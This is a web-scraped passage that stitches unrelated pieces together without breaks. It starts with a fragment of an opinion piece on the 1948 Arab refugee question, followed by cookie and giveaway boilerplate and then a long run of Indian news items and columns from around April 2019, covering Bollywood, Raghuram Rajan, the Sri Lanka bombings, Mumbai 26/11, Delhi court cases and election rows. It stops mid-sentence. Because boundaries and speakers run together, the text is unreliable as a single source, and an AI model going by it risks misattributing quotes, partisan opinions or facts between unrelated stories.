1948. Let there be no mistake. If there had been no war against Israel, with its consequent harvest of bloodshed, misery, panic and flight, there would be no problem of Arab refugees today. Once you determine the responsibility for that war, you have determined the responsibility for the refugee problem. Nothing in the history of our generation is clearer or less controversial than the initiative of Arab governments for the conflict out of which the refugee tragedy emerged. The historic origins of that conflict are clearly defined by the confessions of Arab governments themselves: This will be a war of extermination, declared the Secretary-General of the Arab League speaking for the governments of six Arab states. It will be a momentous massacre to be spoken of like the Mongolian massacre and the Crusades. Dr. Raphael G. Bouchnik-Chen is a retired colonel who served as a senior analyst in IDF Military Intelligence. This site uses cookies from Google to deliver its services, to personalize ads and to analyze traffic. Information about your use of this site is shared with Google. By using this site, you agree to its use of cookies. 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No one under 18 can enter our giveaways. No purchase is necessary. All winners have one week to claim their prize. USA shipping only. Offer void where prohibited. Odds of winning vary due to the number of entrants. Actor Priyanka Chopra is in Mumbai these days for the wedding of her younger brother Siddharth Chopra. On Thursday, she shared a fresh picture from a family dinner. The picture shows her family members including her brother, mother Dr Madhu Chopra, uncles, aunts and cousins. Priyanka looks pretty and relaxed in a green dress and green shoes in the picture. Sharing the picture, Priyanka wrote: Mumbai diaries. Among those who reacted to the photo was her father-in-law Kevin Jonas Sr. He wrote in the comments: Love to our family. Also read: Kareena Kapoor on how Saif Ali Khan asked her mothers permission to let them move in together The actor has completed shooting for her upcoming film, The Sky is Pink, with Farhan Akhtar and Dangals Zaira Wasim. Priyanka will begin work on another project soon in which she will collaborate with Hollywood star Mindy Kaling. The film is reportedly based on big fat Indian weddings. For the moment, the actor is busy bonding with her family in India. On Thursday, her cousin, actor Parineeti Chopra put up a picture with Priyanka and their new pup, who has been named Bailey Chopra. In the picture, a smiling Priyanka holds the pup in her arms as she poses with a beaming Parineeti next to her. Sharing the picture, Parineeti wrote: Meet #BaileyChopra! And like in any other punjabi family - I (his aunt) named him!! Hahaha Priyanka and her husband Nick had flown down to Delhi in February this year to attend Siddharth and Ishitaa Kumars roka (engagement) ceremony. She also welcomed sister-in-law Ishita to the family with a picture and wrote, So proud of my baby brother. Ishita welcome to the family...you are so beautiful together...I wish you both the best for the future! Happy Roka!! @ishittaakumar @siddharthchopra89. Follow @htshowbiz for more Actor Tara Sutaria is all set to make her Bollywood debut alongside Tiger Shroff with Student of the Year 2. The budding actor has said she considers Manikarnika: The Queen of Jhansi actor Kangana Ranaut as her role model. Talking to Pinkvilla in an interview, Tara said, Kangana has achieved everything on the basis of her talent, and without any support whatsoever. And being an upcoming actor, for me, Kangana Ranaut is a role model as she has inspired me. Kangana is a recipient of three National Film Awards and several Filmfare awards including one for her debut film Gangster. She had made her film debut in 2006 and turned a co-director with her last film, Manikarnika. Also read: Avengers Endgame movie review: A pinnacle of superhero storytelling, Marvels latest is a triumphant tear-jerker Tara Sutaria at the 20th year celebrations of fashion designer Sabyasachi Mukherjee's brand Sabyasachi, in New Delhi, on April 6, 2019. (IANS) Tara plays Mia in the Student of the Year sequel, which also marks the debut of Chunky Pandays daughter Ananya Panday who plays Shreya in the film. The film has been made under the banner of Karan Johars Dharma Productions and is directed by Punit Malhotra of Gori Tere Pyaar Mein fame. Tara can be seen matching the dance steps with Tiger, Ananya and Aditya Seal in the films title song The Jawaani Song and is also seen grooving to desi beats in another dance number from the film Mumbai Dilli Di Kudiyaan. The film is a college drama and is set to hit theatres on May 10. Tara has already bagged two more projects including Sidharth Malhotras Marjaavan. She will also be playing the female lead in Suniel Shettys son Ahan Shettys debut film - the remake of the Telugu film RX 100. Follow @htshowbiz for more The driver of the Volkswagen walked up with a gun and demanded the keys, pushing the other man into the BMW, police said. Both were inside the BMW when the owner grabbed his own gun and shot the other man, 22, in the head. The wounded man was taken to Northwestern Memorial Hospital, where he was pronounced dead. The former governor of the Reserve Bank of India (RBI) Raghuram Rajan doesnt think about joining politics or floating a political party will do any good to his family life. Rajan, a former chief economist at the International Monetary Fund who was denied a second term as Reserve Bank governor by the BJP-led government, also talked about the outgoing dispensation and the challenges awaiting the next in an interview with Mint. The 56-year-old spoke about Congress minimum income guarantee scheme Nyunatam Aay Yojna or NYAY and the BJP-led governments successes in the interview in Chennai recently, where he attended a board meeting of liberal arts university Krea as a member of its governing council. First, my wife has said she will not stay with me if I join politics Politics everywhere is similar. It is not particularly noisy or whatever, I dont have any taste for it. Somebody else can give the speeches and gain the votes, Rajan said when asked if he has something against joining politics. He said he will not be floating a party. My writings are all out there, you know my views. The point is I have no interest in politics. Absolutely none. And to speculations that he will be appointed as a minister if the Congress party is elected to power, Rajan said he is happy where he is. Thats too many steps, too far. Unfortunately, given the kind of work that I have done here, there is an expectation that my primary function is in the public arena. No, my primary job is academic. I like the job. I am a reasonably engaged academic. I have written a book recently (The Third Pillar) which is more intellectual than polemic. So given all that, I am very happy where I am, the Katherine Dusak Miller Distinguished Service Professor of Finance at the US University of Chicagos Booth School of Business said. Rajan said he will also be happy to help in some useful way. I am happy to do it. Sometimes people want advice, and Im happy to do it. Also read: Raghuram Rajan says he will return if there is an opportunity to be of use Talking about the outgoing BJP government, he said, we have not moved the needle unlike what was anticipated. It may be good enough to keep going, 7% is nothing to be sneezed at. Then is it 7% with or without jobs? That is another issue. The underlying theme is that growth has some concerns. Have we changed the kind of economic framework for the world of tomorrow? Id say no. Id say this is pretty much the framework we had for a long time. He, however, said the parameters of the successes of the government needs to be looked at carefully. There is continuity in governance. NDA looks a lot like what UPA did emphasised the same thing like GST, Direct Benefit Transfer, Aadhaar. If you tick off all the reforms that have been done, there is a continuity in that. The question again is, is that good news? It goes back to, can we afford the average? And the job situation would suggest that we really need to think about do we need a reboot, he pointed out. Also read: Cash ban, GST held back Indias economic growth, says former RBI governor Raghuram Rajan The next government whether it is the BJP coming back to power or a new one, he said, has to contemplate on the future of the reforms, think about the structures to tackle economic challenges and that jobs will be no 1 for any new government. It is not that there are no jobs, there are no good jobs. Do we have the economic apparatus to enable us for the next phase of growth? Do we have research forces in various universities that are gonna help industries become a force? I have not seen that, Rajan said. Are we investing in areas of those researches are also not clear. Electric batteries for example. Are we able to take up the jobs that are leaving China? Id argue, anecdotally, that investors prefer coming to Vietnam, or even some times Bangladesh, than here. So, jobs will be no 1 for any new government, he added. When asked whether Congress NYAY is a better way to transfer cash than welfare schemes, he said the country needs structures around the market to help people live productive lives. The broader point about direct income transfers, which both NDA and UPA have agreed on, is that it can empower people. That doesnt mean in every place the government will open a medical dispensary for the people to be able to buy. But once they have money power, people can go to private dispensary set up. And now that people have money to buy, the medicine is actually there. This is how they will evolve. It is not just about what it will do today, he said. He also talked about the similarities in the anger people have in India and the west and suggested that communities to be empowered to be able to bring in more place-based growth network. Lets push more powers and funding down to the community so that they can actually respond. Some of these direct income transfer schemes are a way of pushing more power directly to the people. Of course, the devil lies in the details. You have done attempts of poverty alleviation for so many decades, with very limited results. So we should experiment, carefully, he said. This anger, he said, is affecting the society over the absence of good middle-class jobs which tends to have negative effects on the family, especially when you used to have those jobs and you dont have now. They are getting very angry because they are slipping on social security. One evening last month, as we left a cinema in the suburbs of Washington, I wanted to know the reaction of our local American friends. We had together watched Hotel Mumbai, a film inspired by the staff of one of the hotels targeted by terrorists in a massacre over several days in November 2008. I wanted to ask what they thought. Instead, I was asking myself the question that has troubled us Indians since those terrible four days November 26 to 29: Did India handle the attacks well, or at all? Did India respond as a nation that knew how to deal with terrorism, having previously seen attacks on the Akshardham temple and the Parliament? Could the killings have been prevented or minimised? Could the killers have been intercepted, and neutralised, shot, that is, off their dinghy mid-sea? Questions that Sri Lankans will be asking now. Through the film, scenes from that horrific night of November 26 (I was in New Delhi then), played in my head. I leaned over to our friend in the next seat, once, to point out Ajmal Kasab, the character as played on screen. But that was also the last time I spoke during the movie. Watching the ill-equipped Mumbai police take position behind whatever they could find for cover, I was once again filled with dread. They were carrying 303 bolt-action rifles and handguns, while the terrorists were armed with AK-47 assault rifles, pistols, hand grenades, and bags of explosives. They responded bravely, of course, but they were outgunned and outmatched. The whole country breathed easier when they were joined by Marine Commandos and the National Security Guards. India was unprepared. What we have found are instances of lack of: intelligent appreciation of threats, handling of intelligence, maintaining high degree of efficiency in instruments specifically set up to deal with terrorist attacks and certainly lack of overt and visible leadership in carrying out operations to face multi-targeted attacks, said a high-level inquiry committee set up by the Maharashtra government to investigate the response of the security agencies. In fact, it added, reflecting the mood of the nation at the time, the last factor has led to public anger and resentment, both against the political as well as the administrative establishments. Sri Lankans are feeling that anger and resentment now, I think, and may read a similar report soon on why and how they lost more than 350 people, most or some of whom could have been saved. There were very specific intelligence alerts about the possibility of attacks, and the group of men who were planning it. Mumbai police had similar information in 2008 not as accurate, but close about Lashkar-e-Taibas plans to target Taj Mahal Palace Hotel. Still, 10 Pakistani terrorists trained and run by their military belonging to Lashkar-e-Taiba, a proxy group supported and funded by the Pakistani government but proscribed by the United Nations killed 166 people over four days, targeting six different venues from November 26 to 29. Seven years before, on September 11, 2001, 19 men flew passenger planes loaded with travellers into the World Trade Center in New York and the Pentagon on the outskirts of Washington killing 2,981 people. The nation was unprepared, concluded the 9/11 Report ordered by the US government. Sri Lanka was unprepared as well, and will want to know why. yashwant.raj@hindustantimes.com The Sri Lanka bombings one of the worlds deadliest acts of terrorism highlight the growing terrorist threat to democratic, secular states. Far from a concerted and sustained global war on terror, the anti-terrorism fight is being undermined by geopolitics. The global ideological movement fuelling terrorism is Wahhabi jihadism. Yet, the US-ordered total ban on Iranian oil exports from May 3 will reward this jihadisms financiers. Despite specific and detailed Indian intelligence warnings, Sri Lanka failed to avert the bombings, in large part because of a divided and dysfunctional government. However, Sri Lanka was quick to detain the bombers family members for questioning once the suicide killers were identified. By contrast, the Pulwama bombers family members not only remained free but also gave media interviews rationalising the suicide attack. Sri Lanka has a blood-soaked history, but the scale and intensity of the latest attacks were unprecedented. The coordinated bombings, in less than 30 minutes, killed more people than the 2008 Mumbai terrorist siege, which lasted nearly four days. Actually, in terms of sophisticated methods and synchronised lethality, they were eerily similar to the 1993 serial bombings that targeted Mumbai. Jihadists have long used India as a laboratory: Major acts of terror first tried out in India and then replicated elsewhere include attacks on symbols of State authority, mid-air bombing of a commercial jetliner and coordinated strikes on a city transportation system. The series of extraordinary steps Sri Lanka took after the bombings blocking social media, imposing a daily dusk-to-dawn curfew, closing schools until April 29 and proclaiming an emergency law may seem unthinkable in terrorism-scarred but rights-oriented India. But such measures were necessary to maintain control and to deter large-scale reprisal attacks against Muslims. Ironically, in the days leading up to the Sri Lanka bombings, the 2008 Mumbai attacks were back in the news in India because of Bharatiya Janata Party candidate Pragya Thakurs controversial comment on Hemant Karkare, the police officer gunned down in that siege. The irony of ironies is that those 26/11 attacks received more Indian attention this month than on their 10th anniversary five months ago. This underscores a troubling truth: Nothing draws the attention of Indians more than political controversy, however petty. The Spanish-American philosopher George Santayana famously said, Those who cannot remember the past are condemned to repeat it. This is especially true of India, which far from heeding the 26/11 lessons doesnt remember its martyrs. How many Indians know the name of Tukaram Omble, the hero among heroes of 26/11? An ex-army soldier, who became a police assistant sub-inspector, Omble by ensuring terrorist Ajmal Kasabs capture alive provided the clinching evidence of Pakistans involvement in 26/11. Kasab was captured after the ambush killing of six cops, including Karkare and additional commissioner Ashok Kamte. Omble grabbed the barrel of Kasabs AK-47 and took a volley of fired bullets, allowing others to seize Kasab. All the 10 Pakistani terrorists involved in 26/11 wore red string wristbands for Hindus that Pakistani-American David Headley got for them from Mumbais Siddhivinayak Temple. But for Kasabs capture (and confession) helping to indisputably establish Pakistans direct involvement, Pakistans wicked plan was to portray 26/11 as exemplifying the rise of Hindu terrorism by capitalising on the then Manmohan Singh governments classification of the 2006-07 blasts in Malegaon, Ajmer Sharif, Mecca Masjid and Samjhauta Express as Hindu terror. Ombles extraordinary bravery thus should never be forgotten. Nor the sacrifices of the other 26/11 martyrs awarded the Ashok Chakra Sandeep Unnikrishnan, Gajender Singh, Vijay Salaskar, Karkare and Kamte. The 26/11 siege affected the national psyche more deeply than any other terrorist attack. Yet such is Indias lack of a sense of remembrance that it laid the Kartarpur Corridors cornerstone on the 10th anniversary of 26/11, with an oblivious Indian vice president calling it a historic day. Pakistan couldnt have received a better gift from India. Make no mistake: The Sri Lanka attacks hold major implications for Indian security, in part because the main group behind the bombings, the National Thowheed Jamath (NTJ), is an ideological offspring of the rapidly growing, Saudi-funded Tamil Nadu Thowheed Jamath (TNTJ). The TNTJ, wedded to fanatical Wahhabism, rails against idolaters. It helped establish the Sri Lanka Thowheed Jamath, from which the bomber outfit NTJ emerged as a splinter. Like the 2016 brutal Dhaka cafe attack, the Sri Lanka slaughter was carried out by educated Islamists from well-off families. And just as Bangladesh blamed Pakistans Inter-Services Intelligence (ISI) for the attack, the NTJ has ties with ISIs front organisation, Lashkar-e-Taiba, which, through its Sri Lanka operations, has sought links with the TNTJ in India. NTJ leader Zaharan Hashim was inspired by fugitive Indian preacher Zakir Naiks sermons and received funds from Indian jihadists. It would be paradoxical if India, which tipped off Sri Lanka about the bombing plot, became a victim itself of Thowheed Jamat terror. First of all, it must outlaw the TNTJ. Brahma Chellaney is a geostrategist The views expressed are personal Aiming at reducing the number of deaths from heart attacks, the Indian Council of Medical Research (ICMR) Thursday launched Mission DELHI to deliver good post-attack care at the doorstep. With four bike-ambulances and 12 nurses trained to handle emergency cases, Mission DELHI (Delhi Emergency Life Heart-Attack Initiative) aims to reduce the time it takes for people with a serious heart attack to receive clot-busting medicine. In the pilot phase, it will cater only to people living in a three-kilometre radius of the All India Institute of Medical Sciences (AIIMS) and may be further expanded, depending on the success of the project.The service will be available at toll free numbers 14430 and 1800-11-1044 for help. Nurses posted at the control room in AIIMS will assess the kind of care the patient needs on the basis of a questionnaire and then dispatch a bike ambulance. A CATS ambulance will also be dispatched simultaneously. The main aim of the project is to give thrombolytic medicines to heart attack patients, if needed. For that, the first responders will do an electrocardiography (ECG) that can be relayed directly back to our control room, where doctors can check it tell the nurses at the scene how to proceed, said Dr Chandni Suvarna, a senior scientist running the project. The first response vehicles will also be equipped with oxygen cylinders and defibrillators to shock a patient of cardiac arrest. Under the project, timely emergency treatment will reach patients before their condition worsen, Dr Venugopal, ex-director AIIMS, said. The project aims to reduce the mortality from a serious type of heart attack called ST-Elevation Myocardial Infarction (STEMI), wherein one of the hearts major the artery, supplying oxygen-rich blood to the heart muscle, gets completely blocked. It is important to remove the clot stopping the blood flow. If the heart walls are damaged, they cannot be repaired. Clot-busters are almost equal to angioplasty. Clot buster medication is a low-cost treatment whereas angioplasty is expensive. Clot-busters can be given within a short time after a heart attack, said Dr Balram Bhargava, director general, ICMR. Heart muscles die within four to six hours and then the damage cannot be undone. So, it is essential that the clot-busting injection is given as soon as possible. However, there are two delays when it comes to receiving timely treatment symptom to door and door to the needle. The project reduces both the time. In Delhi, even if an ambulance is called immediately on the onset of symptoms, it will take a while to reach the patient and bring them back to the hospital. Then, once in the hospital, several tests need to be done before administering the medicine. All this will happen at the patients home, said Dr Swati Sharma, another scientist with the programme. The project will cost 5 crore over three years and more, if expanded. The awareness drives and dry runs for the project had started seven months ago. So far, the nurses on the field have already conducted 1,804 dry runs and done 1,040 ECG. In the beginning, we expect to receive at least three to five calls daily, more as the awareness increases, said Dr Suvarna. A day after seeking a ban on green flags which gave him a feeling of being in Pakistan, union minister and BJPs candidate from Begusarai, Giriraj Singh, triggered another row with his remarks that Muslims will have to say Vande Matram if they need three yards of land for graveyard, a comment that angered key ally JD(U) which has asked the Election Commission (EC) to take cognizance of comments. At an election rally at Begusarai on Wednesday, which was also attended by BJPs national president Amit Shah and deputy CM Sushil Kumar Modi, Singh had said, RJDs Darbhanga candidate (Abdul Bari Siddiqui) had said he would not say Vande Matram. If they (Muslims) need three yards of land for graveyard, they should not have problem in speaking Vande Matram. Begusarai goes to poll on April 29. Asked for reaction, JD (U) national general secretary K C Tyagi said, The EC should take cognizance of such comments. LJP leader Chirag Paswan said his party did not support use of such language. On Tuesday, Giriraj Singh had called for a ban on green flags, which he said tend to create hatred in the society and gives one a feeling of being in Pakistan. The RJD, which incidentally has a green flag, demanded a ban on Singh, who is contesting from Begusarai against RJDs Tanveer Hassan and CPIs Kanhaiya Kumar. Singh has been known for his incendiary remarks in the past too. Only last year, he had embarrassed the Nitish Kumar-led NDA government in Bihar when he demanded renaming Bakhtiarpur town, where Nitish Kumar was born. The minister also wanted the name of Akbarpur in his current Lok Sabha constituency of Nawada changed, saying it was named after Mughal emperor Akbar. A day after claiming to have solved the murder of Rohit Shekhar Tiwari with the arrest of his wife, police Thursday visited the victims Defence Colony house to recreate the sequence of events that allegedly led to the murder. Investigators took Shekhars wife Apoorva, who is in their custody, to the house and recreated the crime scene in Shekhars room by involving her in the process. We carried out the exercise to recreate the exact scenario that led to Shekhars death, said a senior police officer associated with the case. On Tuesday night, police had arrested Apoorva for allegedly strangling and smothering her husband to death while he was in an inebriated state after she ran out of stories and confessed to her crime, police said. The immediate trigger for the murder, police maintained, was Shekhars taunt to Apoorva with a story of how he and a woman relative of his had travelled in the same car and drank alcohol from the same glass hours before on a drive to Delhi from Uttarakhand, where he had gone to caste his franchise. Shekhars body was discovered by his domestic help, Golu, on April 16 almost 17 hours after he returned to Delhi and went to sleep in his first floor bedroom after dinner. After being produced in court Wednesday, Apoorva was sent to police remand for two days as the police had informed a Delhi court that they wanted her custody to recreate the crime scene and interrogate her to ascertain if anybody else was involved Shekhars murder or had helped her execute the crime. An investigator, who is not authorised to speak to the media, said they confronted Apoorva and the three domestic help of the house to ascertain their role in the crime. All three were present in the house when Shekhar was murdered. The fourthe three domestic helps and Apoorvawere first questioned separately. Then they were made to sit together and were confronted with each others statement. The exercise helped us rule out the role of all other occupants of the house. We have now established that Apoorva killed her husband alone, the investigator said. Apoorva will be produced before the court Friday afternoon. It is unlikely that the investigating team would seek her custody further, said the officer. BPSC Main Exam: Bihar Public Service Commission (BPSC) has extended the deadline of application for the 64th main combined civil services examination. The last date to apply online for BPSC main exam has been extended till April 30. Earlier, the last date to apply was April 2. Moreover, applicants can pay the application fee by April 27. Earlier the last date for fee payment was March 26. After the fee is paid, applicant can proceed to filling the application form before April 30. Hard copy of the application form and other required documents have to be sent to the BPSC office through speed post at 15, Jawahar Lal Nehru Marg (Bailey Road), Patna 800 001 (BIHAR) which should reach the commissions office by 5 PM of May 13. According to the official notice issued by BPSC, the link to fill application form will be active only after 24 hours of paying the application fee. Candidates are advised to pay the fee as early as possible. BPSC 64th Main Exam: How to apply online Visit the official website of BPSC at bpsc.bih.nic.in On the left panel, click on Apply online tab Click on BPSC Online application link You will be redirected to a new page Login using your username and password Read the instructions Proceed to pay the application fee by debit card/credit card/net banking/UPI After your payment is successful, you will get a transaction number and a mail of acknowledgement After 24 hours, try logging in again using the same username and password You will get the application form Fill in the required information in the form and proceed Submit the application form and take its print out. Send the hard copy of the duly filled application form and send the hardcopy to the BPSC office through speed post. SHARE THIS ARTICLE ON Millennial style icon Sara Ali Khans style is quite a mixed bag with contemporary wear, traditional patterns, casual chic and street style. The gorgeous actor was spotted recently outside the gym in powder blue top and black shorts. The t-shirt said, Pilates Girl. The Simmba actor who is currently shooting for Imtiaz Alis Love Aaj Kal 2 starring Kartik Aaryan looked simple yet stunning. Sara Ali Khan was recently holidaying in New York with her friends and the pictures she shared on her Instagram handle were absolutely style travel goals. She spotted bright puffer and fur jackets, tracks as well as floral summer dresses. Sara Ali Khans top 5 gymwear looks Follow more stories on Facebook and Twitter The Armed Forces Tribunal on Thursday asked the government to address the statutory complaint filed by Vice Admiral Bimal Verma challenging the appointment of his junior officer, Vice Admiral Karambir Singh, as the next navy chief in three weeks, two people familiar with the matter said. Verma had on Tuesday moved the AFT for the second time after the government last month named Admiral Singh as the next navy chief. The defence ministry has been asked to take a decision on Vermas complaint by May 15 and the AFT has listed the matter for May 20, said a person cited above. Verma had petitioned the AFT against his supersession earlier too, but was asked to withdraw his plea and raise matter with the defence ministry first. Withdrawing his plea earlier this month, Verma filed a statutory complaint to defence minister Nirmala Sitharaman, requesting that a decision be taken in 10 days. He approached the AFT on Tuesday again as the 10-day period ended on Monday and the ministry had not responded to his complaint. Verma, who heads the Andaman and Nicobar Command in Port Blair, would have been the senior-most officer in the navy on May 31 when Admiral Sunil Lanba retired. Singh currently heads the Visakhapatnam-based Eastern Naval Command. The Central Bureau of Investigation (CBI) has registered a first information report (FIR) and six preliminary enquiries (PEs ) to probe alleged irregularities in the disinvestment of 21 state-owned sugar mills in Uttar Pradesh in 2010-11, when Bahujan Samaj Party (BSP) supremo Mayawati was chief minister, according to officials in the agency and a copy of the FIR accessed by HT. The irregularities led to a loss of Rs 1,179 crore to the state exchequer, according to a 2013 report by the Comptroller and Auditor General of India (CAG) that formed the basis of the case. Although no Uttar Pradesh government official or politician has been named in the FIR or PEs registered on Thursday, seven people who allegedly submitted forged documents in the purchase of the mills, run by the UP State Sugar Corporation Limited, have been charged in the FIR with forgery, cheating and under section 629 (A) of the Companies Act , which deals with providing false evidence, the FIR said. The FIR and PEs have been registered at a time when the BSP, in an alliance with one-time rival Samajwadi Party (SP), is taking on the Bharatiya Janata Party in elections to the 80 Lok Sabha seats in Uttar Pradesh. BSP national general secretary Ramachal Rajbhar said the investigation was a misuse of federal agencies by the ruling Bharatiya Janata Party government to harass and pressurise leaders of opposition parties. The people will give befitting reply to the BJP in the ongoing Lok Sabha election, he said. The controversy began in 2013 when CAG, in a report, said that the sugar mills had been sold at dirt cheap prices. On April 12, 2018, the Yogi Adityanath- led BJP government in Uttar Pradesh issued a notification seeking a CBI investigation into the case. Naseemuddin Siddiqui, once a close aide to Mayawati and a former minister in her government from 2007-2012, claimed in 2017 that the sugar mills were sold on the instructions of then CM Mayawati and BSP general secretary Satish Chandra Mishra. After his claim, Mayawati said Siddiqui alone was to blame for the irregularities. The UP government asked CBI to investigate the entire sale proceedings of 21 sugar mills, including use of bogus companies and documents in the purchase of seven closed mills in Deoria, Bareilly, Laxmiganj, Hardoi, Ramkola, Chittauni and Barabanki. The matter was earlier investigated by the local police. An FIR was registered at the Gomti Nagar police station in November 2017 against two companies which bought the mills Namrata Marketing Private Limited and Girasho Company Private Limited. This FIR has been shared with the CBI. In its recommendation for the CBI probe, the current UP government has alleged the Mayawati government had sold the 21 mills, of which 10 were operational, at prices much lower than the market prices. The mills were built over 500 hectares of land worth 2,000 crore at current prices, according to a CBI official, who asked not to be named. Despite being aware of the alleged irregularities, the next state government , led by Akhilesh Yadav of the Samajwadi Party, didnt take any action on the alleged irregularities. Yogi Adityanath, after coming to the power, said he would probe the matter as nobody can be allowed to sell such government properties at dirt cheap rates as the property belonged to the people. At an unannounced hearing March 26, prosecutors abruptly dropped all charges against Smollett with little explanation, sparking a firestorm of criticism and calls for Foxxs resignation by the Chicago Fraternal Order of Police. Just weeks earlier, the Empire actor, who is African-American and openly gay, had been indicted on 16 counts of disorderly conduct alleging he staged a racial and homophobic attack on himself. A three-member inquiry committee comprising justice SA Bobde, justice Indira Banerjee and justice Indu Malhotra of the Supreme Court on Friday met the woman who made a complaint of sexual harassment against Chief Justice of India (CJI) Ranjan Gogoi and held in camera proceedings on the matter. According to people with knowledge of the development, the complainant appeared before the panel at 12.30 pm and the proceedings lasted three hours. The complainant was accompanied by a lawyer to assist her, but the advocate wasnt allowed to participate in the proceedings. The inquiry proceedings remained inconclusive on Friday and the committee will now meet again on Monday, April 29, when the complainant will again appear before the panel of judges. On April 23, justice Bobde told PTI that the in-house procedure did not contemplate representation of advocates on behalf of parties as it was not a formal judicial proceeding. A decision to conduct an internal inquiry into the allegations against the CJI was taken on April 23 after a full-court resolution was passed to the effect. CJI Gogoi has distanced himself from the matter and all decisions with regard to the committee and its proceedings are being taken by justice Bobde, who is the second senior most judge in the Supreme Court and is expected to take over as CJI after justice Gogois retirement in November. On Thursday evening, a change in the committees composition was made after justice NV Ramana recused himself from the inquiry panel. Justice Indu Malhotra replaced him on the committee, taking the number of women judges on the three-member panel to two. The recusal by justice Ramana came in the backdrop of a letter written by the complainant to members of the committee, expressing concern over his presence on the committee. In a letter dated April 24, the complainant wrote: I would humbly submit that since I was posted in the CJIs residence office, I know that justice NV Ramana is a close friend of the CJI and is like a family member to him. Justice Ramana is a frequent visitor to the residence of the CJI. Because of this I fear that my affidavit and evidence will not receive an objective and fair hearing. Withdrawing himself from the committee, justice Ramana wrote in a letter to justice Bobde: My decision to recuse is only based on an intent to avoid any suspicion that this institution will not conduct itself in keeping with the highest standards of judicial propriety and wisdom. It is the extraordinary nature of the complaint, and the evolving circumstances and discourse that underly my decision to recuse and not the grounds cited by the complainant per se. Let my recusal be a clear message to the nation that there should be no fears about probity in our institution, and that we will not refrain from going to any extent to protect the trust reposed in us. That is, after all, our final source of moral strength. This move by the top court to hold an inquiry into the allegations came after the Supreme Court Bar Association (SCBA) and the Supreme Court Advocates on Record Association (SCORA) called for the appointment of a panel to investigate the claims. The former Supreme Court staffer, on April 19, wrote a letter to 22 judges of the Supreme Court seeking an inquiry into an alleged incident of sexual harassment by the CJI. Suspected Maoists triggered a blast damaging the BJPs election office and torched machines and huts at a bridge construction site in Hariharganj of Jharkhands Palamu district late on Thursday, ahead of Mondays Lok Sabha election in the state. The twin strikes precede the first round of Lok Sabha election in Jharkhand. The Palamu Lok Sabha seat is among the three parliamentary constituencies that will vote on April 29. The area where the members of the CPI(Maoists) struck is very close to the Jharkhand-Bihar border and officials said six rebels on two motorcycles entered into Aurangabad region of Bihar after committing the crime in Jharkhand. The CPI (Maoists) are involved in these acts of desperation. Only six Maoists were involved and contrary to their known modus operandi, they came on two bikes. They wanted to make their presence felt, Palamus superintendent of police Indrajit Mahatha said. A few pockets on Bihar-Jharkhand borders still harbour Maoists conduits. We have already identified and initiated preventive action against them. The adequate forces are deployed in the area to ensure free and fair poll, Mahatha pointed out. According to reports, the Maoists arrived at the BJP election office near Hariharganj bus stand on National Highway 98, woke up care-taker Laksham Sao and took him captive before planting improvised explosive devices (IEDs). When Sao tried to run away, the Maoist fired at him. Sao saved himself by hiding behind a bus. In the explosion triggered by the Maoists, the semi-constructed building was partially damaged. While escaping towards Aurangabad, they then torched a generator and a few thatched huts at a bridge construction site near Churi on Hariharganj-Pathra route. They also beat up the workers at the site and snatched at least six mobile phones from them before fleeing. A team from the local police station rushed to the site after following standard operation procedure in such incidents. The CPI(Maoists) has given a call for boycotting polls in different parts of the state. Earlier, this month suspected Maoists killed a man in Giridih accusing him to be a police informer. A gun battle had also took place between the Maoists and security forces in Giridih, in which three rebels and one CRPF jawan were killed. Jharkhand with 14 seats will be polling in the fourth, fifth, sixth and the seventh phases of the Lok Sabha election 2019. The votes will be counted on May 23. The decision to not contest against PM Modi in Varanasi was taken by Priyanka Gandhi herself, Congress leader Sam Pitroda said on Friday, a day after the party decided to repeat its 2014 candidate from the constituency ending weeks of speculation. It (not contesting from Varanasi) was Priyanka jis decision, she has other responsibilities. She thought rather than concentrating on one seat she should focus on the job she has at hand. So, that decision was her and she decided it, the chief of the Indian Overseas Congress said, according to news agency ANI. Political circles had been agog with speculation for weeks that the recently appointed Congress general secretary Priyanka Gandhi would contest from Varanasi. Watch: Why Congress opted out of a Priyanka vs PM Modi fight in Varanasi I Opinion Congress workers had urged the leadership to field Priyanka Gandhi the party in charge for eastern Uttar Pradesh from either Varanasi or Allahabad. However, she left it to her brother and party chief Rahul Gandhi to take the call. You will come to know when the party takes a decision. I have said time and again, I will do whatever the party tells me to do, Priyanka Gandhi had said when asked about her candidature. Also read: No Priyanka Gandhi from Varanasi seat wise decision of Congress, say locals On Thursday, the day PM Modi held a mega roadshow in the constituency, the Congress decided to field Ajay Rai, who finished third with just 7% votes behind PM Modi and AAPs Arvind Kejriwal. Pitroda earlier courted controversy with his remark on Indias airstrike on Jaish camp in Pakistans Balakot. Questioning the rationale for the February 26 air strikes deep inside Pakistani territory 12 days after the February 14 Pulwama suicide attack, Pitroda said one cannot jump on an entire nation (Pakistan) just because some people from there came here and attacked. In an apparent reference to the Pulwama attack, Pitroda, who heads the Indian Overseas Congress, said attacks happen all the time. Referring to the Mumbai terror attacks in 2008 when the Congress-led United Progressive Alliance (UPA) was in power, he said the then government could have sent its planes but that was not the right approach. He sought details from the Modi government on Balakot, citing foreign media reports that questioned claims on the number of terrorists being killed in the air strikes. In response, Modi said: The most trusted advisor and guide of the Congress President has kickstarted the Pakistan National Day celebrations on behalf of the Congress, ironically by demeaning Indias armed forces. Shame! Watch: Why didnt Priyanka challenge PM from Varanasi? Congs Sam Pitroda reveals A Delhi court on Thursday reserved its order on a plea by Christian Michel, the alleged middleman arrested in the AgustaWestland VVIP chopper case, seeking free and fair trial after the supplementary charge sheet was leaked to the media. The Enforcement Directorate (ED) on April 11 had submitted a status report in a sealed cover, informing the court about the alleged leak. A day later, the court sought a report from the court staff regarding the number of charge sheet copies that were filed by the probe agency. Special public prosecutor for ED, DP Singh, had told the court that there was nothing wrong if the media published or broadcast the contents of the charge sheet as the court has already taken cognizance of the case and only the fresh accused had to be summoned. Responding to ED, the defence counsel filed a rejoinder and said that while, ED refused to give them a copy of the charge sheet, the same was shown on television channels. Michels lawyer argued there was a media trial because of the leakage of the charge sheet. The defence counsel argued that the entire act of publicising the charge sheet without the due process of law amounts to contempt of court. He also opposed the submission made in sealed cover and said that this practice is neither transparent nor conducive of the concept of a fair trial. Michels counsel had moved the application on April 5 alleging that the ED clandestinely leaked the charge sheet to media before the court could take cognizance of it, to sensationalize the issue. The court has reserved its order for May 3. A Delhi court on Friday sought a report on action taken by Delhi Police on a criminal complaint seeking a first information report (FIR) to be lodged against Congress president Rahul Gandhi for a 2016 remark he made against Prime Minister Narendra Modi. Additional chief metropolitan magistrate Samar Vishal listed the matter for May 15. The complainant, Supreme Court advocate Joginder Tuli, in his application said Gandhi, in a speech in October 2016, had accused the Prime Minister of hiding behind the blood 